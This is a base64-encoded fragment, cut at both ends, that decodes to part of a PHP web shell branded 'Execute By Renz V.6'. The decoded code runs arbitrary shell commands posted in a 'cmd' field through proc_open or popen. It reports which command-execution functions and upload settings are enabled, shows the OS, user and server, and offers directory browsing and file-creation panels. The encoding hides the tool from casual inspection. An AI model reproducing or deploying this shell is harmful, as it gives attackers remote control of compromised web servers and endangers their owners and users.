nJheSgicGlwZSIsICJ3IikpOw0KICAgICAgICAkcHJvY2VzcyA9IHByb2Nfb3Blbigkc2hlbGwgLiAkY21kLCAkZGVzY3JpcHRvcnNwZWMsICRwaXBlcyk7DQogICAgICAgIGlmIChpc19yZXNvdXJjZSgkcHJvY2VzcykpIHsNCiAgICAgICAgICAgIGVjaG8gc3RyZWFtX2dldF9jb250ZW50cygkcGlwZXNbMV0pOyBlY2hvIHN0cmVhbV9nZXRfY29udGVudHMoJHBpcGVzWzJdKTsNCiAgICAgICAgICAgIGZjbG9zZSgkcGlwZXNbMF0pOyBmY2xvc2UoJHBpcGVzWzFdKTsgZmNsb3NlKCRwaXBlc1syXSk7IHByb2NfY2xvc2UoJHByb2Nlc3MpOw0KICAgICAgICB9DQogICAgfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygncG9wZW4nKSkgew0KICAgICAgICAkc2hlbGwgPSAoc3RycG9zKHN0cnRvdXBwZXIoUEhQX09TKSwgJ1dJTicpID09PSAwKSA/ICdjbWQuZXhlIC9jICcgOiAnL2Jpbi9zaCAtYyAnOw0KICAgICAgICAkZnAgPSBwb3Blbigkc2hlbGwgLiAkY21kLCAncicpOw0KICAgICAgICBpZiAoJGZwKSB7IHdoaWxlICghZmVvZigkZnApKSB7IGVjaG8gZnJlYWQoJGZwLCAxMDI0KTsgfSBwY2xvc2UoJGZwKTsgfQ0KICAgIH0gZWxzZSB7DQogICAgICAgIGVjaG8gIlZla3RvciBHYWdhbDogRWtzZWt1c2kgZGlibG9raXIgbGluZ2t1bmdhbi4iOw0KICAgIH0NCiAgICByZXR1cm4gb2JfZ2V0X2NsZWFuKCk7DQp9DQoNCmZ1bmN0aW9uIGNoZWNrX2ZlYXR1cmUoJHR5cGUsICRuYW1lKSB7DQogICAgaWYgKCR0eXBlID09PSAnZnVuYycpIHsNCiAgICAgICAgcmV0dXJuIGZ1bmN0aW9uX2V4aXN0cygkbmFtZSkgPyAiPHNwYW4gc3R5bGU9J2NvbG9yOiMwMGZmNjY7Jz5PTjwvc3Bhbj4iIDogIjxzcGFuIHN0eWxlPSdjb2xvcjojZmYzMzY2Oyc+T0ZGPC9zcGFuPiI7DQogICAgfSBlbHNlaWYgKCR0eXBlID09PSAnZXh0Jykgew0KICAgICAgICByZXR1cm4gZXh0ZW5zaW9uX2xvYWRlZCgkbmFtZSkgPyAiPHNwYW4gc3R5bGU9J2NvbG9yOiMwMGZmNjY7Jz5PTjwvc3Bhbj4iIDogIjxzcGFuIHN0eWxlPSdjb2xvcjojZmYzMzY2Oyc+T0ZGPC9zcGFuPiI7DQogICAgfSBlbHNlaWYgKCR0eXBlID09PSAnaW5pJykgew0KICAgICAgICAkdmFsID0gaW5pX2dldCgkbmFtZSk7DQogICAgICAgIHJldHVybiAoJHZhbCA9PSAnMScgfHwgc3RydG9sb3dlcigkdmFsKSA9PSAnb24nKSA/ICI8c3BhbiBzdHlsZT0nY29sb3I6IzAwZmY2NjsnPk9OPC9zcGFuPiIgOiAiPHNwYW4gc3R5bGU9J2NvbG9yOiNmZjMzNjY7Jz5PRkY8L3NwYW4+IjsNCiAgICB9DQogICAgcmV0dXJuICJVTktOT1dOIjsNCn0NCg0KJGRpcl9yZWFkYWJsZSA9IGlzX3JlYWRhYmxlKCRjdXJyZW50X2RpcikgPyAiPHNwYW4gc3R5bGU9J2NvbG9yOnZhcigtLWFjY2VudCk7Jz5bUmVhZGFibGVdPC9zcGFuPiIgOiAiPHNwYW4gc3R5bGU9J2NvbG9yOnZhcigtLWRhbmdlcik7Jz5bTm90IFJlYWRhYmxlXTwvc3Bhbj4iOw0KJGRpcl93cml0YWJsZSA9IGlzX3dyaXRhYmxlKCRjdXJyZW50X2RpcikgPyAiPHNwYW4gc3R5bGU9J2NvbG9yOnZhcigtLWFjY2VudCk7Jz5bV3JpdGFibGVdPC9zcGFuPiIgOiAiPHNwYW4gc3R5bGU9J2NvbG9yOnZhcigtLWRhbmdlcik7Jz5bV3JpdGUgUHJvdGVjdGVkXTwvc3Bhbj4iOw0KPz4NCjwhRE9DVFlQRSBodG1sPg0KPGh0bWwgbGFuZz0iZW4iPg0KPGhlYWQ+DQogICAgPG1ldGEgY2hhcnNldD0iVVRGLTgiPg0KICAgIDx0aXRsZT5FeGVjdXRlIFYuNjwvdGl0bGU+DQogICAgPHN0eWxlPg0KICAgICAgICA6cm9vdCB7DQogICAgICAgICAgICAtLWJnLW1haW46ICMwYTBkMTQ7IC0tYmctY2FyZDogIzExMTUyMjsgLS1iZy1pbm5lcjogIzA4MGExMDsNCiAgICAgICAgICAgIC0tYWNjZW50OiAjMDBmZjY2OyAtLWFjY2VudC1kaW06ICMwMGIzNDc7IC0tdGV4dC1tYWluOiAjZjFmNWY5Ow0KICAgICAgICAgICAgLS10ZXh0LW11dGVkOiAjNjQ3NDhiOyAtLWRhbmdlcjogI2ZmMzM2NjsgLS1kYW5nZXItZGltOiAjY2MyNDRjOw0KICAgICAgICB9DQogICAgICAgICogeyBib3gtc2l6aW5nOiBib3JkZXItYm94OyBtYXJnaW46IDA7IHBhZGRpbmc6IDA7IH0NCiAgICAgICAgYm9keSB7IGJhY2tncm91bmQ6IHZhcigtLWJnLW1haW4pOyBjb2xvcjogdmFyKC0tdGV4dC1tYWluKTsgZm9udC1mYW1pbHk6ICdTZWdvZSBVSScsIHNhbnMtc2VyaWY7IHBhZGRpbmc6IDI1cHg7IGZvbnQtc2l6ZTogMTNweDsgfQ0KICAgICAgICAucGFuZWwgeyBiYWNrZ3JvdW5kOiB2YXIoLS1iZy1jYXJkKTsgYm9yZGVyOiAxcHggc29saWQgIzFlMjUzODsgYm9yZGVyLXJhZGl1czogOHB4OyBwYWRkaW5nOiAyNXB4OyBib3gtc2hhZG93OiAwIDIwcHggNDBweCByZ2JhKDAsMCwwLDAuNyk7IG1heC13aWR0aDogMTIwMHB4OyBtYXJnaW46IDAgYXV0bzsgfQ0KICAgICAgICANCiAgICAgICAgLmhlYWRlciB7IGRpc3BsYXk6IGZsZXg7IGp1c3RpZnktY29udGVudDogc3BhY2UtYmV0d2VlbjsgYWxpZ24taXRlbXM6IGNlbnRlcjsgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICMxZTI1Mzg7IHBhZGRpbmctYm90dG9tOiAxNXB4OyBtYXJnaW4tYm90dG9tOiAyMHB4OyB9DQogICAgICAgIC50aXRsZSB7IGZvbnQtd2VpZ2h0OiBib2xkOyBmb250LXNpemU6IDEuNGVtOyBsZXR0ZXItc3BhY2luZzogMXB4OyBjb2xvcjogdmFyKC0tYWNjZW50KTsgdGV4dC1zaGFkb3c6IDAgMCAxMHB4IHJnYmEoMCwyNTUsMTAyLDAuMik7IH0NCiAgICAgICAgLnN5cy1pbmZvIHsgZm9udC1mYW1pbHk6IG1vbm9zcGFjZTsgY29sb3I6IHZhcigtLXRleHQtbXV0ZWQpOyBmb250LXNpemU6IDAuODVlbTsgdGV4dC1hbGlnbjogcmlnaHQ7IGxpbmUtaGVpZ2h0OiAxLjU7IH0NCiAgICAgICAgLnN5cy1pbmZvIGEgeyBjb2xvcjogdmFyKC0tZGFuZ2VyKTsgdGV4dC1kZWNvcmF0aW9uOiBub25lOyB9DQogICAgICAgIA0KICAgICAgICAucGF0aC1ib3ggeyBiYWNrZ3JvdW5kOiB2YXIoLS1iZy1pbm5lcik7IHBhZGRpbmc6IDEycHg7IGJvcmRlci1yYWRpdXM6IDZweDsgZm9udC1mYW1pbHk6IG1vbm9zcGFjZTsgY29sb3I6IHZhcigtLXRleHQtbWFpbik7IG1hcmdpbi1ib3R0b206IDIwcHg7IGJvcmRlcjogMXB4IHNvbGlkICMxZTI1Mzg7IGJvcmRlci1sZWZ0OiA0cHggc29saWQgdmFyKC0tYWNjZW50KTsgfQ0KICAgICAgICAucGF0aC1ib3ggYSB7IGNvbG9yOiB2YXIoLS1hY2NlbnQpOyB0ZXh0LWRlY29yYXRpb246IG5vbmU7IGZvbnQtd2VpZ2h0OiBib2xkOyB9DQogICAgICAgIA0KICAgICAgICAuYXVkaXQtY29udGFpbmVyIHsgZGlzcGxheTogZ3JpZDsgZ3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiByZXBlYXQoNCwgMWZyKTsgZ2FwOiAxMnB4OyBiYWNrZ3JvdW5kOiB2YXIoLS1iZy1pbm5lcik7IGJvcmRlcjogMXB4IHNvbGlkICMxZTI1Mzg7IHBhZGRpbmc6IDE1cHg7IGJvcmRlci1yYWRpdXM6IDZweDsgbWFyZ2luLWJvdHRvbTogMjBweDsgZm9udC1mYW1pbHk6IG1vbm9zcGFjZTsgfQ0KICAgICAgICAuYXVkaXQtaXRlbSB7IGRpc3BsYXk6IGZsZXg7IGp1c3RpZnktY29udGVudDogc3BhY2UtYmV0d2VlbjsgcGFkZGluZzogNHB4IDhweDsgYmFja2dyb3VuZDogcmdiYSgyNTUsMjU1LDI1NSwwLjAyKTsgYm9yZGVyLXJhZGl1czogNHB4OyBib3JkZXI6IDFweCBzb2xpZCAjMTYxYzJkOyB9DQogICAgICAgIA0KICAgICAgICAuY21kLWJveCB7IGRpc3BsYXk6IGZsZXg7IGdhcDogMTBweDsgYmFja2dyb3VuZDogdmFyKC0tYmctaW5uZXIpOyBib3JkZXI6IDFweCBzb2xpZCAjMWUyNTM4OyBwYWRkaW5nOiA2cHggMTJweDsgYm9yZGVyLXJhZGl1czogNnB4OyBhbGlnbi1pdGVtczogY2VudGVyOyB9DQogICAgICAgIC5wcm9tcHQgeyBmb250LWZhbWlseTogbW9ub3NwYWNlOyBjb2xvcjogdmFyKC0tYWNjZW50KTsgZm9udC13ZWlnaHQ6IGJvbGQ7IH0NCiAgICAgICAgLmNtZC1pbnB1dCB7IGJhY2tncm91bmQ6IHRyYW5zcGFyZW50OyBib3JkZXI6IG5vbmU7IGNvbG9yOiAjZmZmOyBmb250LWZhbWlseTogbW9ub3NwYWNlOyB3aWR0aDogMTAwJTsgb3V0bGluZTogbm9uZTsgcGFkZGluZzogNnB4IDA7IGZvbnQtc2l6ZTogMTNweDsgfQ0KICAgICAgICAudGVybWluYWwtb3V0cHV0IHsgYmFja2dyb3VuZDogIzA0MDUwODsgYm9yZGVyOiAxcHggc29saWQgI2ZmMzM2NjsgYm9yZGVyLXJhZGl1czogNnB4OyBwYWRkaW5nOiAxNXB4OyBmb250LWZhbWlseTogbW9ub3NwYWNlOyBjb2xvcjogI2FkYmFjNzsgbWFyZ2luLXRvcDogMTVweDsgb3ZlcmZsb3cteDogYXV0bzsgd2hpdGUtc3BhY2U6IHByZS13cmFwOyBtYXgtaGVpZ2h0OiAzNTBweDsgfQ0KICAgICAgICANCiAgICAgICAgLmNyZWF0aW9uLWdyaWQgeyBkaXNwbGF5OiBncmlkOyBncmlkLXRlbXBsYXRlLWNvbHVtbnM6IHJlcGVhdCgzLCAxZnIpOyBnYXA6IDIwcHg7IG1hcmdpbi1ib3R0b206IDIwcHg7IH0NCiAgICAgICAgLmNyZWF0aW9uLWJveCB7IGJhY2tncm91bmQ6IHZhcigtLWJnLWlubmVyKTsgYm9yZGVyOiAxcHggc29saWQgIzFlMjUzODsgcGFkZGluZzogMThweDsgYm9yZGVyLXJhZGl1czogNnB4OyBkaXNwbGF5OiBmbGV4OyBmbGV4LWRpcmVjdGlvbjogY29sdW1uOyBqdXN0aWZ5LWNvbnRlbnQ6IHNwYWNlLWJldHdlZW47IH0NCiAgICAgICAgLnN1Yi1wYW5lbCB7IGJhY2tncm91bmQ6IHZhcigtLWJnLWlubmVyKTsgYm9yZGVyOiAxcHggc29saWQgIzFlMjUzODsgYm9yZGVyLXJhZGl1czogNnB4OyBwYWRkaW5nOiAyMHB4OyBtYXJnaW4tYm90dG9tOiAyNXB4OyBib3JkZXItbGVmdDogNHB4IHNvbGlkIHZhcigtLWRhbmdlcik7IH0NCiAgICAgICAgDQogICAgICAgIHRhYmxlIHsgd2lkdGg6IDEwMCU7IGJvcmRlci1jb2xsYXBzZTogY29sbGFwc2U7IG1hcmdpbi10b3A6IDE1cHg7IGJhY2tncm91bmQ6IHZhcigtLWJnLWlubmVyKTsgYm9yZGVyLXJhZGl1czogNnB4OyBvdmVyZmxvdzogaGlkZGVuOyBib3JkZXI6IDFweCBzb2xpZCAjMWUyNTM4OyB9DQogICAgICAgIHRoIHsgYmFja2dyb3VuZDogIzE2MWMyZDsgY29sb3I6IHZhcigtLXRleHQtbWFpbik7IHBhZGRpbmc6IDEycHg7IHRleHQtYWxpZ246IGxlZnQ7IGZvbnQtc2l6ZTogMC44NWVtOyBmb250LXdlaWdodDogNjAwOyBib3JkZXItYm90dG9tOiAxcHggc29saWQgIzFlMjUzODsgfQ0KICAgICAgICB0ZCB7IHBhZGRpbmc6IDEycHg7IGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjMTExNjIyOyBmb250LWZhbWlseTogbW9ub3NwYWNlOyB9DQogICAgICAgIHRyOmhvdmVyIHsgYmFja2dyb3VuZDogcmdiYSgyNTUsMjU1LDI1NSwwLjAyKTsgfQ0KICAgICAgICAuZm9sZGVyLWxpbmsgeyBjb2xvcjogIzNiODJmNjsgdGV4dC1kZWNvcmF0aW9uOiBub25lOyBmb250LXdlaWdodDogYm9sZDsgfQ0KICAgICAgICAuZmlsZS1saW5rIHsgY29sb3I6IHZhcigtLXRleHQtbWFpbik7IH0NCiAgICAgICAgDQogICAgICAgIHRleHRhcmVhIHsgd2lkdGg6IDEwMCU7IGhlaWdodDogODBweDsgYmFja2dyb3VuZDogIzA1MDYwYTsgYm9yZGVyOiAxcHggc29saWQgIzFlMjUzODsgY29sb3I6ICNhZGJhYzc7IGZvbnQtZmFtaWx5OiBtb25vc3BhY2U7IHBhZGRpbmc6IDEwcHg7IGJvcmRlci1yYWRpdXM6IDZweDsgb3V0bGluZTogbm9uZTsgcmVzaXplOiB2ZXJ0aWNhbDsgfQ0KICAgICAgICBpbnB1dFt0eXBlPXRleHRdIHsgYmFja2dyb3VuZDogIzA1MDYwYTsgYm9yZGVyOiAxcHggc29saWQgIzFlMjUzODsgY29sb3I6ICNmZmY7IHBhZGRpbmc6IDhweCAxMnB4OyBib3JkZXItcmFkaXVzOiA2cHg7IGZvbnQtZmFtaWx5OiBtb25vc3BhY2U7IG91dGxpbmU6IG5vbmU7IH0NCiAgICAgICAgaW5wdXRbdHlwZT1maWxlXSB7IGJhY2tncm91bmQ6ICMwNTA2MGE7IGJvcmRlcjogMXB4IHNvbGlkICMxZTI1Mzg7IGNvbG9yOiAjZmZmOyBwYWRkaW5nOiA2cHg7IGJvcmRlci1yYWRpdXM6IDZweDsgZm9udC1mYW1pbHk6IG1vbm9zcGFjZTsgb3V0bGluZTogbm9uZTsgd2lkdGg6IDEwMCU7IH0NCiAgICAgICAgDQogICAgICAgIC5idG4tZ2xvc3N5IHsNCiAgICAgICAgICAgIHBvc2l0aW9uOiByZWxhdGl2ZTsgZGlzcGxheTogaW5saW5lLWJsb2NrOyBiYWNrZ3JvdW5kOiBsaW5lYXItZ3JhZGllbnQodG8gYm90dG9tLCAjMDBmZjY2IDAlLCAjMDBiMzQ3IDUwJSwgIzAwODAzMyAxMDAlKTsNCiAgICAgICAgICAgIGNvbG9yOiAjMDAwOyBmb250LXdlaWdodDogYm9sZDsgYm9yZGVyOiAxcHggc29saWQgIzAwOTkzZDsgcGFkZGluZzogOHB4IDE2cHg7IGJvcmRlci1yYWRpdXM6IDZweDsgY3Vyc29yOiBwb2ludGVyOyBmb250LWZhbWlseTogaW5oZXJpdDsgb3ZlcmZsb3c6IGhpZGRlbjsNCiAgICAgICAgICAgIGJveC1zaGFkb3c6IGluc2V0IDAgMXB4IDAgcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjQpLCAwIDRweCAxMHB4IHJnYmEoMCwgMCwgMCwgMC4zKTsgdHJhbnNpdGlvbjogMC4xNXMgZWFzZTsgdGV4dC1hbGlnbjogY2VudGVyOw0KICAgICAgICB9DQogICAgICAgIC5idG4tZ2xvc3N5OjpiZWZvcmUgeyBjb250ZW50OiAiIjsgcG9zaXRpb246IGFic29sdXRlOyB0b3A6IDA7IGxlZnQ6IDA7IHJpZ2h0OiAwOyBoZWlnaHQ6IDUwJTsgYmFja2dyb3VuZDogbGluZWFyLWdyYWRpZW50KHRvIGJvdHRvbSwgcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjI1KSAwJSwgcmdiYSgyNTUsIDI1NSwgMjU1LCAwKSAxMDAlKTsgcG9pbnRlci1ldmVudHM6IG5vbmU7IH0NCiAgICAgICAgLmJ0bi1nbG9zc3k6aG92ZXIgeyBiYWNrZ3JvdW5kOiBsaW5lYXItZ3JhZGllbnQodG8gYm90dG9tLCAjMWFmZjc1IDAlLCAjMDBjYzUyIDUwJSwgIzAwOTkzZCAxMDAlKTsgYm94LXNoYWRvdzogaW5zZXQgMCAxcHggMCByZ2JhKDI1NSwgMjU1LCAyNTUsIDAuNSksIDAgNHB4IDE1cHggcmdiYSgwLCAyNTUsIDEwMiwgMC40KTsgdHJhbnNmb3JtOiB0cmFuc2xhdGVZKC0xcHgpOyB9DQogICAgICAgIA0KICAgICAgICAuYnRuLWRhbmdlci1nbG9zc3kgeyBiYWNrZ3JvdW5kOiBsaW5lYXItZ3JhZGllbnQodG8gYm90dG9tLCAjZmY0ZDc5IDAlLCAjZmYxYTUzIDUwJSwgI2NjMDAzMyAxMDAlKTsgYm9yZGVyOiAxcHggc29saWQgI2IzMDAyZDsgY29sb3I6ICNmZmY7IGJveC1zaGFkb3c6IGluc2V0IDAgMXB4IDAgcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjMpLCAwIDRweCAxMHB4IHJnYmEoMCwgMCwgMCwgMC4zKTsgfQ0KICAgICAgICAuYnRuLWRhbmdlci1nbG9zc3k6aG92ZXIgeyBiYWNrZ3JvdW5kOiBsaW5lYXItZ3JhZGllbnQodG8gYm90dG9tLCAjZmY2NjhjIDAlLCAjZmYzMzY2IDUwJSwgIzk5MDAyNiAxMDAlKTsgYm94LXNoYWRvdzogaW5zZXQgMCAxcHggMCByZ2JhKDI1NSwgMjU1LCAyNTUsIDAuNCksIDAgNHB4IDE1cHggcmdiYSgyNTUsIDUxLCAxMDIsIDAuNCk7IH0NCiAgICAgICAgDQogICAgICAgIC5hY3Rpb25zIGEgeyBjb2xvcjogdmFyKC0tYWNjZW50KTsgdGV4dC1kZWNvcmF0aW9uOiBub25lOyBtYXJnaW4tcmlnaHQ6IDhweDsgZm9udC1zaXplOiAwLjllbTsgZm9udC13ZWlnaHQ6IDUwMDsgfQ0KICAgICAgICAuYWN0aW9ucyBhOmhvdmVyIHsgY29sb3I6ICNmZmY7IH0NCiAgICAgICAgLmFjdGlvbnMgLmRlbC1idG4geyBjb2xvcjogdmFyKC0tZGFuZ2VyKTsgZm9udC13ZWlnaHQ6IGJvbGQ7IGJhY2tncm91bmQ6IG5vbmU7IGJvcmRlcjogbm9uZTsgY3Vyc29yOiBwb2ludGVyOyBmb250LWZhbWlseTogaW5oZXJpdDsgZm9udC1zaXplOiAwLjllbTsgfQ0KICAgICAgICAuYWN0aW9ucyAuZGVsLWJ0bjpob3ZlciB7IGNvbG9yOiAjZmZmOyB0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsgfQ0KICAgICAgICAuYWxlcnQgeyBjb2xvcjogdmFyKC0tYWNjZW50KTsgZm9udC13ZWlnaHQ6IGJvbGQ7IG1hcmdpbi1ib3R0b206IDE1cHg7IGZvbnQtZmFtaWx5OiBtb25vc3BhY2U7IH0NCiAgICAgICAgLmxvZ291dC1idG4geyBjb2xvcjogdmFyKC0tZGFuZ2VyKTsgdGV4dC1kZWNvcmF0aW9uOiBub25lOyBmb250LXdlaWdodDogYm9sZDsgYm9yZGVyOiAxcHggc29saWQgdmFyKC0tZGFuZ2VyKTsgcGFkZGluZzogNHB4IDEwcHg7IGJvcmRlci1yYWRpdXM6IDRweDsgfQ0KICAgICAgICAubG9nb3V0LWJ0bjpob3ZlciB7IGJhY2tncm91bmQ6IHZhcigtLWRhbmdlcik7IGNvbG9yOiAjZmZmOyB9DQogICAgICAgIA0KICAgICAgICAuYmFkZ2UgeyBmb250LXNpemU6IDAuOGVtOyBwYWRkaW5nOiAycHggNnB4OyBib3JkZXItcmFkaXVzOiA0cHg7IGZvbnQtd2VpZ2h0OiBib2xkOyBtYXJnaW4tbGVmdDogNXB4OyBmb250LWZhbWlseTogc2Fucy1zZXJpZjsgfQ0KICAgICAgICAuYmFkZ2UtciB7IGJhY2tncm91bmQ6IHJnYmEoMCwgMjU1LCAxMDIsIDAuMTUpOyBjb2xvcjogIzAwZmY2NjsgYm9yZGVyOiAxcHggc29saWQgcmdiYSgwLCAyNTUsIDEwMiwgMC4zKTsgfQ0KICAgICAgICAuYmFkZ2UtdyB7IGJhY2tncm91bmQ6IHJnYmEoMjU1LCAyMDQsIDAsIDAuMTUpOyBjb2xvcjogI2ZmY2MwMDsgYm9yZGVyOiAxcHggc29saWQgcmdiYSgyNTUsIDIwNCwgMCwgMC4zKTsgfQ0KICAgICAgICAuYmFkZ2UtcncgeyBiYWNrZ3JvdW5kOiByZ2JhKDAsIDE4OCwgMjU1LCAwLjE1KTsgY29sb3I6ICMwMGJjZmY7IGJvcmRlcjogMXB4IHNvbGlkIHJnYmEoMCwgMTg4LCAyNTUsIDAuMyk7IH0NCiAgICAgICAgLmJhZGdlLWxvY2tlZCB7IGJhY2tncm91bmQ6IHJnYmEoMjU1LCA1MSwgMTAyLCAwLjE1KTsgY29sb3I6ICNmZjMzNjY7IGJvcmRlcjogMXB4IHNvbGlkIHJnYmEoMjU1LCA1MSwgMTAyLCAwLjMpOyB9DQogICAgPC9zdHlsZT4NCiAgICA8c2NyaXB0Pg0KICAgICAgICBmdW5jdGlvbiB0b2dnbGVTZWxlY3RBbGwoc291cmNlKSB7DQogICAgICAgICAgICBjaGVja2JveGVzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeU5hbWUoJ2ZpbGVzW10nKTsNCiAgICAgICAgICAgIGZvcih2YXIgaT0wLCBuPWNoZWNrYm94ZXMubGVuZ3RoOyBpPG47IGkrKykgeyBjaGVja2JveGVzW2ldLmNoZWNrZWQgPSBzb3VyY2UuY2hlY2tlZDsgfQ0KICAgICAgICB9DQogICAgPC9zY3JpcHQ+DQo8L2hlYWQ+DQo8Ym9keT4NCjxkaXYgY2xhc3M9InBhbmVsIj4NCiAgICA8ZGl2IGNsYXNzPSJoZWFkZXIiPg0KICAgICAgICA8ZGl2IGNsYXNzPSJ0aXRsZSI+RVhFQ1VURSAvLyBCWSBSRU5aIFYuNjwvZGl2Pg0KICAgICAgICA8ZGl2IGNsYXNzPSJzeXMtaW5mbyI+DQogICAgICAgICAgICBPUzogPD9waHAgZWNobyBwaHBfdW5hbWUoJ3MnKTsgPz4gfCBVc2VyOiA8P3BocCBlY2hvIGdldF9jdXJyZW50X3VzZXIoKTsgPz48YnI+DQogICAgICAgICAgICBTZXJ2ZXI6IDw/cGhwIGVjaG8gJF9TRVJWRVJbJ1NFUlZFUl9TT0ZUV0FSRSddOyA/PiB8IDxhIGhyZWY9Ij9hY3Q9bG9nb3V0IiBjbGFzcz0ibG9nb3V0LWJ0biI+TE9HT1VUPC9hPg0KICAgICAgICA8L2Rpdj4NCiAgICA8L2Rpdj4NCiAgICANCiAgICA8ZGl2IGNsYXNzPSJwYXRoLWJveCI+DQogICAgICAgIDxzcGFuPlBhdGg6PC9zcGFuPiANCiAgICAgICAgPD9waHANCiAgICAgICAgJHBhcnRzID0gZXhwbG9kZShEUywgcnRyaW0oJGN1cnJlbnRfZGlyLCBEUykpOyAkYWNjdW0gPSAiIjsNCiAgICAgICAgZWNobyAiPGEgaHJlZj0nP2Rpcj0iLnVybGVuY29kZShEUykuIic+LzwvYT4iOw0KICAgICAgICBmb3JlYWNoICgkcGFydHMgYXMgJHBhcnQpIHsNCiAgICAgICAgICAgIGlmICgkcGFydCA9PT0gIiIpIGNvbnRpbnVlOyAkYWNjdW0gLj0gRFMgLiAkcGFydDsNCiAgICAgICAgICAgIGVjaG8gIiA8YSBocmVmPSc/ZGlyPSIudXJsZW5jb2RlKCRhY2N1bSkuIic+JHBhcnQ8L2E+IC8iOw0KICAgICAgICB9DQogICAgICAgIGVjaG8gIiAmbmJzcDsgIiAuICRkaXJfcmVhZGFibGUgLiAiICIgLiAkZGlyX3dyaXRhYmxlOw0KICAgICAgICA/Pg0KICAgIDwvZGl2Pg0KDQogICAgPGRpdiBjbGFzcz0iYXVkaXQtY29udGFpbmVyIj4NCiAgICAgICAgPGRpdiBjbGFzcz0iYXVkaXQtaXRlbSI+PHNwYW4+c3lzdGVtOjwvc3Bhbj4gPHNwYW4+PD9waHAgZWNobyBjaGVja19mZWF0dXJlKCdmdW5jJywgJ3N5c3RlbScpOyA/Pjwvc3Bhbj48L2Rpdj4NCiAgICAgICAgPGRpdiBjbGFzcz0iYXVkaXQtaXRlbSI+PHNwYW4+c2hlbGxfZXhlYzo8L3NwYW4+IDxzcGFuPjw/cGhwIGVjaG8gY2hlY2tfZmVhdHVyZSgnZnVuYycsICdzaGVsbF9leGVjJyk7ID8+PC9zcGFuPjwvZGl2Pg0KICAgICAgICA8ZGl2IGNsYXNzPSJhdWRpdC1pdGVtIj48c3Bhbj5wYXNzdGhydTo8L3NwYW4+IDxzcGFuPjw/cGhwIGVjaG8gY2hlY2tfZmVhdHVyZSgnZnVuYycsICdwYXNzdGhydScpOyA/Pjwvc3Bhbj48L2Rpdj4NCiAgICAgICAgPGRpdiBjbGFzcz0iYXVkaXQtaXRlbSI+PHNwYW4+cHJvY19vcGVuOjwvc3Bhbj4gPHNwYW4+PD9waHAgZWNobyBjaGVja19mZWF0dXJlKCdmdW5jJywgJ3Byb2Nfb3BlbicpOyA/Pjwvc3Bhbj48L2Rpdj4NCiAgICAgICAgPGRpdiBjbGFzcz0iYXVkaXQtaXRlbSI+PHNwYW4+cG9wZW46PC9zcGFuPiA8c3Bhbj48P3BocCBlY2hvIGNoZWNrX2ZlYXR1cmUoJ2Z1bmMnLCAncG9wZW4nKTsgPz48L3NwYW4+PC9kaXY+DQogICAgICAgIDxkaXYgY2xhc3M9ImF1ZGl0LWl0ZW0iPjxzcGFuPmN1cmxfaW5pdDo8L3NwYW4+IDxzcGFuPjw/cGhwIGVjaG8gY2hlY2tfZmVhdHVyZSgnZnVuYycsICdjdXJsX2luaXQnKTsgPz48L3NwYW4+PC9kaXY+DQogICAgICAgIDxkaXYgY2xhc3M9ImF1ZGl0LWl0ZW0iPjxzcGFuPmFsbG93X3VybF9mb3Blbjo8L3NwYW4+IDxzcGFuPjw/cGhwIGVjaG8gY2hlY2tfZmVhdHVyZSgnaW5pJywgJ2FsbG93X3VybF9mb3BlbicpOyA/Pjwvc3Bhbj48L2Rpdj4NCiAgICAgICAgPGRpdiBjbGFzcz0iYXVkaXQtaXRlbSI+PHNwYW4+ZmlsZV91cGxvYWRzOjwvc3Bhbj4gPHNwYW4+PD9waHAgZWNobyBjaGVja19mZWF0dXJlKCdpbmknLCAnZmlsZV91cGxvYWRzJyk7ID8+PC9zcGFuPjwvZGl2Pg0KICAgIDwvZGl2Pg0KICAgIA0KICAgIDw/cGhwIGlmICgkbXNnKSBlY2hvICI8ZGl2IGNsYXNzPSdhbGVydCc+WyFdICIuaHRtbHNwZWNpYWxjaGFycygkbXNnKS4iPC9kaXY+IjsgPz4NCiAgICANCiAgICA8ZGl2IHN0eWxlPSJtYXJnaW4tYm90dG9tOiAyMHB4OyI+DQogICAgICAgIDxmb3JtIG1ldGhvZD0iUE9TVCI+DQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjbWQtYm94Ij4NCiAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0icHJvbXB0Ij4kPC9zcGFuPg0KICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjbWQiIGNsYXNzPSJjbWQtaW5wdXQiIHBsYWNlaG9sZGVyPSJFeGVjdXRlIHNoZWxsIGNvbW1hbmQuLi4iIGF1dG9jb21wbGV0ZT0ib2ZmIiBhdXRvZm9jdXMgdmFsdWU9Ijw/cGhwIGVjaG8gaXNzZXQoJF9QT1NUWydjbWQnXSkgPyBodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnY21kJ10pIDogJyc7ID8+Ij4NCiAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ0bi1nbG9zc3kiPkV4ZWN1dGU8L2J1dHRvbj4NCiAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICA8L2Zvcm0+DQogICAgICAgIDw/cGhwDQogICAgICAgIGlmIChpc3NldCgkX1BPU1RbJ2NtZCddKSAmJiAkX1BPU1RbJ2NtZCddICE9PSAnJykgew0KICAgICAgICAgICAgZWNobyAiPGRpdiBjbGFzcz0ndGVybWluYWwtb3V0cHV0Jz4iOw0KICAgICAgICAgICAgZWNobyBodG1sc3BlY2lhbGNoYXJzKGV4ZWN1dGVfY29tbWFuZCgkX1BPU1RbJ2NtZCddKSk7DQogICAgICAgICAgICBlY2hvICI8L2Rpdj4iOw0KICAgICAgICB9DQogICAgICAgID8+DQogICAgPC9kaXY+DQogICAgDQogICAgPGRpdiBjbGFzcz0iY3JlYXRpb24tZ3JpZCI+DQogICAgICAgIDxkaXYgY2xhc3M9ImNyZWF0aW9uLWJveCI+DQogICAgICAgICAgICA8aDUgc3R5bGU9ImNvbG9yOiB2YXIoLS1hY2NlbnQpOyBtYXJnaW4tYm90dG9tOiAxMnB4OyI+8J+ThCBDcmVhdGUgTmV3IEZpbGU8L2g1Pg0KI